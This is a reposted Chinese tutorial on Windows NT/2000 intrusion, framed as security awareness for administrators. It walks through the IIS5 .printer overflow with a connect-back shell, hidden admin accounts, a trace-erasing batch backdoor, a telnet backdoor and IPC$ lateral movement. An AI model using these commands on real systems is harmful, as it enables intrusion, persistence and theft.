此篇文章並非小弟原創,原作者已不可考,它是我網管筆記的一部份分享給有需要的人
駭客入侵手法分析（一）
管理員密碼的洩漏
我們知道，所謂駭客的入侵，通常是同網路管理員權限洩漏相關連的。一個駭客的入侵行為，只有當他掌握的網路管理員權限的時候才是有意義的。而管理員的權限又和管理員密碼緊密相關，可以說，管理員密碼証明著管理員的權限。正因為這樣，管理員密碼的爭奪，永遠是"駭客"與"反駭客"大戰中永遠不會平息的話題。
在這裏要介紹的，是關於微軟NT系統的安全性問題。NT系統的確是非常適合企業使用的操作系統。然而，由於微軟自己對產品的所產生的缺失，NT也是一個充滿不安和脆弱的系統。如果企業的系統管理員沒有清楚的認識這一點，甚至沒有想過基本的安全性問題，那麼，必然會帶來許多不可估計的問題。 首先，我們就從NT系統的管理員密碼開始講起。
電腦技術發展到今天，進步已經不是當初的人們可以想象得到的。可是在這麼多年的發展中，電腦安全的關鍵還只是寄重任於一個脆弱的小小東西，這個東西我們稱為"密碼"（password）。當它一旦被攻破，安全就很難保障。而許多"駭客"的主要任務，就是想方法的找到這個關鍵的東西，以便他們可以得到他們想要的權限去做他們想做的事情。
那他們有些什麼辦法來獲得這個關鍵呢？
一． 猜+解：
對付一些未知的事情最直接的方法就是猜吧。不過猜也有技巧，有的是不管三七二十一強來，我們管它叫"窮舉法"﹔有的是利用人們常習慣用的密碼做為猜解的根據，這就是稱為"字典"的東東啦。這些手法，利用的都是電腦強大的處理能力和極快速的處理速度來達成的。而且隨著電腦技術的發展，運算速度幾何數級的增長，這種猜解的成功率也大大的提高了。拿六個字符長度密碼做"窮舉法"的例子吧，486機器可能需要耗時一整天才可能猜解出來﹔而目前的400Mhz的機器可能不用一個小時就做到了。如果再加上有效的字典的話，那真的可以說是無往而不利了。據說目前的有的駭客字典甚至已經函蓋了整個牛津字典，各種人名，到1800到2003年的所有日期……呵呵，"漁翁撒網，避無可避"呀！
談了這麼多的密碼猜法，當然要談一下如何保護自己的密碼不被破解，請遵守以下的原則：
◎ 不用生日作為密碼（太容易猜了）
◎ 不用序數作為密碼（除非您的序數無限大）
◎ 不用身份証字號作為密碼（身份証號碼太規則了）
◎ 不用在字典中查得到的單詞作為密碼（剛才已經說了）
依照上面的幾點說法，什麼樣子的密碼最不容易猜，自己也最好記呢?? 答案是：用一句有意義的話來作為自己的密碼，例如：WoBuPaNi 就是一個很難猜的密碼類型，基於這個密碼猜法的原則，您的密碼是不是要作些更新或是大小寫要作一些對調 ?? 如果您的密碼是henhao,建議您最好能改成HenHao，這樣被猜中的機率就小了很多。
二．利用系統漏洞：
通常一個高強度的密碼已經可以讓許多的"駭客"斷羽而歸。然而這也不完全是安全的，一些致命的系統漏洞往往會成為更為方便的"後門"。這就好比是一個脆弱的鏈條上掛了一把堅強的鎖。鎖本身是夠強了，別人怎麼也打不開﹔可是鍊條卻太脆弱了，經不起折騰，一下就給人橇開了。
舉個例子說吧，早些日子發現的微軟的IIS 5.0的.printer ISAPI延伸遠程緩衝區溢出漏洞就是一個很致命的漏洞。"駭客"可以利用這個漏洞做任何的東西。當然也包括"開鎖"了。
在一個企業中，往往直接連接Internet的是WEB服務器，而一個有耐性的"駭客"，一個想入侵這個企業的商業間諜當然會不惜一切手段入侵，其中一個手法就是利用WEB服務。預設值情況下，IIS 5.0服務器存在一個連接為"printer"的應用程式映射，這個映射使用位於\WINNT\System32\下的名為 msw3prt.dll 的動態庫檔案。這個功能是用於基於Web控制的網路印表機的，是Windows2000為Internet Printing Protocol(IPP)協議而設置的應用程式功能。不幸的是，這個映射存在一個緩衝區溢出錯誤，可以導致inetinfo.exe出錯，允許駭客通過web獲取服務器的管理權限，駭客製造一個 .printer 的ISAPI請求，當Http host參數的值達到420個字符時，就會發生緩衝區溢出。請求的結構如下：
GET /NULL.printer HTTP/1.0
Host: [buffer]
當上述 [buffer]值的字符數目達到420時，緩衝區溢出。
這時,Web Server會停止回應。Windows2000操作系統發現Web異常停止後，會自動重新啟動，因此系統管理員很難意識到發生過攻擊。並且由於它可以重新啟動，所以駭客可以不止一次的利用它來得到shell。通過構造包含適當的Shell Code的腳本， 駭客可以以system用戶的身份，不停地遠程通過web執行任何指令。目前Internet上已經有一個exploit程式，可以連接系統的cmd.exe程式，從而自由地執行指令。
下面我們示範這個漏洞如何使得"駭客"可以繞過密碼這個關口，得到管理員權限。
先到網上DownLoad一個IIS5Exploit駭客程式包《大陸知名漏洞搜尋及程式著作-小榕》，裏面包括有NC.EXE；IIS5Exploit.EXE兩個程式。以下的步驟在IIS5Exploit的說明文件裏有詳細解釋：
1、首先在本機用NC開一個監聽端口。
C:\>nc -l -p 99
2、執行IIS5Exploit
D:\>IIS5exploit 待入侵機器IP 本地機器IP 99
===========IIS5 English Version .Printer Exploit.===========
===Written by Assassin 1995-2001.
http://www.netX...om===Connecting xx.xx.xx.xx ...OK.
Send Shell Code ...OK
IIS5 Shell Code Send OK
稍等片刻，如果成功在本機NC登錄的端口出現：
C:\>nc -l -p 99
Microsoft Windows 2000[Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\>
可以執行命令。如：
C:\>net user test 123 /add
The command completed successfully.
C:\>net localgroup administrartors test /add
這樣就建立了一個屬於Administrator組的用戶test，密碼為123。
所以為了杜絕這些脆弱的"鍊條"，NT的系統管理員必須得及時為自己得系統增改修正程式，堵住這些漏洞。
駭客入侵手法分析（二）
獲得管理員權限後的初級和高級入侵
在上一節中闡述了"駭客"取得管理員權限的一些典型手段。那麼究竟"駭客"得到了NT的管理員權限之後能做什麼呢？
有人也許會說："得到了NT的管理員權限還能做什麼，想做什麼就做什麼咯！"但到底能做什麼呢？能詳細答出來的只怕不會很多，而且很多企業系統管理員就認為沒什麼，因為他們壓根就不知道"駭客"會怎麼做。本文介紹的就是得到NT的管理員密碼以後入侵一個企業電腦群的初級和高級手法。從這裏可以看出，在一個企業中，尤其是在一個大型企業當中，企業系統管理員的密碼失竊往往關係著整個公司的信息洩密，以及公司的數據的丟失，嚴重的影響到一個企業的發展和生存。
首先，我們先假定已經得到了某個企業的一台服務器192.168.0.1的administrator的密碼，而對方沒有關閉139端口。這樣我們可以有以下幾種層次不同的入侵方式：
一．普通共享資源的入侵
這種入侵手法可說是NT最簡單的入侵了，隨便在自己機器的哪個窗口的地址欄裏輸入"\\192.168.0.1"大概等1-2秒，對方就會要求您輸入用戶名和密碼，輸入所得到的用戶名和密碼以後就可以進入，並可以看到這台服務器在企業中的共享資源了。
由於權限是admin，所以您幾乎可以刪除對方共享資源裏的任何東西（當然如果設置了共享為唯讀那就沒辦法了）。這種手法雖然也有一定的危害性，但是究竟是最初級的入侵方式，為害的範圍還小。
二．預設及隱藏共享資源的入侵
在說這種入侵方法之前，我先來給大家介紹一下什麼叫做NT的IPC$連接共享：IPC$是專門用在NT中的一種管道通訊方式，NT系統之間的通訊大部分都是在IPC$通訊中完成的﹔在預設情況下，NT系統都有一個特殊的隱藏共享，那就是IPC$共享了。
這種的入侵手法相對高明一點，但還是很簡單的，不過關鍵還是要看"駭客"如何利用了，有的人可能只能刪刪文件，有的人卻可以利用這個留下後門，以便下次如果密碼改變了後可以利用後門進入。同樣在機器裏隨便打開一個窗口，在地址欄輸入"\\192.168.0.1"就會要求輸入密碼，輸入以後所看到的東西和前面介紹的一樣，好現在同時也建立好IPC$連接了。然後我們再次在地址欄輸入地址，這次輸入的就有點不同了，輸入"\\192.168.0.1?c$"大概過一會就出現了對方C槽裏所有的內容了。嘿嘿！想看對方D槽？同樣，輸入"\\192.168.0.1\D$"就看見對方D槽了。然後想換這個企業的主頁（假如對方還是一個WEB服務器）可說是輕而易舉，記住由於權限是管理員當然可以寫了，留不留後門就看"駭客"的想法，一般他們會在C槽（假設在c:\winnt下）建立一個批次檔，假設檔名為test.bat，其內容一般為：
net user test 123 /add //建立一個用戶名為test的用戶密碼為123
net localgroup administrators test /add //讓test也是管理員
del C:\Documents and Settings\administrator\「開始」\程式集\啟動\test.lnk //刪除啟動文件夾裏的快捷列消除足跡
del c:\winnt\test.bat //刪除test.bat這個檔案消除足跡
這樣當企業系統管理員在下次登陸時，系統就會偷偷的添加一個用戶test了。當然其實添加用戶算是一個比較愚蠢的留"後門的方法了，所以其實很多"駭客"會放一個可以常駐記憶體的小程式，然後建立一個類似的批次檔和快捷列，那麼"駭客"基本上可以長期的占有企業中的這台主機了。
三．IPC$連接入侵的高級手段
然而每個"駭客"都不可能那麼笨，非要一直等到下次企業系統管理員登陸以後才可以占有，往往"駭客"會使用更加巧妙的手法，迅速的留下後門。首先他們還是先建立IPC$連接，連接以後他們會使用各種手法開後門，比如打開telnet服務。"駭客"怎麼打開telnet服務呢？其實有很多種方法，比如可以利用小榕"流光"裏所提供的開telnet服務的小程式Srv.exe。"駭客"只要把它上傳到剛才的那個主機去，再利用時間任務執行它就可以了。就像這樣子： D:\>copy srv.exe \\192.168.0.1\admin$ //先複製srv.exe上去，在流光的Tools目錄就有。
D:\>net time \\192.168.0.1 //192.168.0.1 的目前時間是 2001/1/17 上午 10:48
D:\>at \\192.168.0.1 10:50 srv.exe //在時間表增加任務執行程式
D:\>net time \\192.168.0.1 //再查查夠時間沒有
D:\>telnet 192.168.0.1 99 //telnet上要入侵的主機去，Srv利用的是99端口
出現如下提示：
Microsoft Windows 2000
(C) Copyright 1985-1999 Microsoft Corp.
C:\WINNT\system32>
成功了！
當然，由於Srv本身屬於非NT系統的程式，像這樣子打開telnet服務必然會引起管理員的警覺。最好的方式就是利用NT系統本身的telnet服務程式。現在既然已經可以遠程登陸到入侵機器了，要啟動它也不難。像這樣：
C:\WINNT\system32>net start telnet
不過，啟動還是不成功的，需要NTLM驗証，這下又把"駭客"攔在了外面了。可是這難不到"駭客"們，這時他們又會用到一個小程式了，就是專門關閉一個NTLM驗証的程式ntlm.exe。（當然也可以是其他名字）"copy ntlm.exe \\192.168.0.1\admin$\system32"把ntlm.exe複製到對方企業服務器的system32目錄下。複製過去了，同樣利用往時間表增加任務的形式來啟動它，然後再用telnet登錄，成功！這回是提示需要輸入用戶和密碼了，輸入所得到的管理員用戶名和密碼以後就成功的telnet到了企業服務器……
不過這樣一下是net time；一下又是at實在是麻煩，現在就介紹另一個方法，首先還是先感謝微軟為NT系統管理員提供的方便的管理功能，這一功能到了"駭客"手中可說是"駭客"的福音，不用"駭客"再這麼麻煩的輸入這樣那樣的命令了。建立好IPC$連接以後（IPC$連接果然是一種功能非常強大的管理連接），打開本地電腦裏的"系統管理工具"，用滑鼠右鍵點電腦管理窗口裏的"電腦管理（本地）"裏面有"連線到另一台電腦"選擇它，在"名稱"裏輸入"192.168.0.1"確定以後，首先您的NT系統會看是否建立IPC$連接，"有"就連接上去了，現在您就可以直接管理192.168.0.1了，比如看他的日誌，啟動他的服務（當然包括telnet了），管理他的IIS，什麼都有。多研究一下，連注銷對方系統當前登陸的用戶，重新啟動對方電腦，關閉對方電腦都有。NT系統到了"駭客"手中，整個系統都成了一個"駭客"工具了，而且是功能非常強大的"駭客"工具。
看了以上文章現在那些安全意識差的企業系統管理員們知道了曝露了管理員密碼的危險性了吧？
駭客入侵手法分析（三）
危險，入侵的深入！
通過上面兩篇文章的介紹，我們已經成功的把一台企業的服務器搞到手了。這裏面當然有系統管理員的"貢獻"^_^，那麼我們來看看，除了能得到這台服務器之外，"駭客"還能不能得到其他的東西？
"駭客"們當然不會僅僅在攻陷一台服務器以後就立刻罷手的，入侵更深層次的機器永遠是他們不懈追逐的目標。他們會嘗試深入入侵您的內網，尤其是在一個企業中，往往都是電腦群，那些商業間諜"駭客"當然就更加的想入侵到企業內部去了。而很多企業系統管理員喜歡把所有的服務器的密碼設為相同，就更給"駭客"提供了一個良好的入侵條件。telnet到對方服務器以後，輸入"net view"企業中整個一個工作組或網域的電腦這時都一展無遺。同樣在telnet裏建立IPC$連接以後像入侵這台服務器一樣的入侵了，前面說的建立IPC$連接都是使用的圖形界面，然而這時候已經不再擁有圖形界面了，現在假設企業內網的192.168.0.2的密碼和這台服務器密碼相同，這時可以使用
net use \\192.168.0.2\IPC$ "passwd" / user:username
來建立IPC$連接，然後是映射驅動槽，輸入
net use z: \\192.168.0.2\c$
這樣就把192.168.0.2的C槽映射到192.168.0.1的Z槽去了。輸入"z:"就可以象瀏覽192.168.0.1的硬碟一樣，瀏覽192.168.0.2的C槽。而如果他是商業間諜"駭客"，一旦發現裏面有價值的東西自然不用說將來會發生什麼事了。
當然這往往還算是最理想的條件，其實還是有相當一部分企業系統管理員不會把密碼設為一樣的。現在就看網路的具體情況了，如果入侵的正好是一台主網域控制器，那麼在"駭客"升級成網域管理員後，整個企業的一個網域的機器都落在了他的手中了。
另外就是通過IIS的管理入侵，在預設情況下IIS提供一個WEB方式的管理服務，在c:\inetpub\wwwroot裏有一個叫iisstar.asp的東西，如果可以訪問，而且有管理員密碼（NT4裏不是管理員也可以，只要是NT的合法帳號）就可以遠程通過WEB方式管理IIS信息服務，然後通過特殊手法進一步控制整個機器，然後是整個企業……
如果內部網的電腦是服務器當然不必說了，由於服務器的特點就是要打開合法的端口來偵聽服務請求，所以被入侵的機會更大。但即便只是工作站客戶機，占領了服務器的駭客也可以通過NT的一些漏洞入侵進去，然後再利用機器之間的信任關係進行活動。如果是商業間諜甚至還有可能安裝sniff(嗅探器)監視整個企業的數據傳送情況以及內容、通過電子郵件傳送木馬等各種途徑來得到企業內部的敏感信息或保密信息。
當然入侵內網的機會的大小往往也是根據"駭客"的經驗的多少來決定的。不過微軟的產品有太多的漏洞，而且有許多還往往是致命的，這使得即便是一個不怎麼高明的駭客，在利用這些漏洞之後也能很輕易的入侵。這就加大了駭客入侵服務器，和更深入的入侵內網的機會。
從以上的闡述中，企業的系統管理員應該明白，加強網路安全意識，刻不容緩啊！
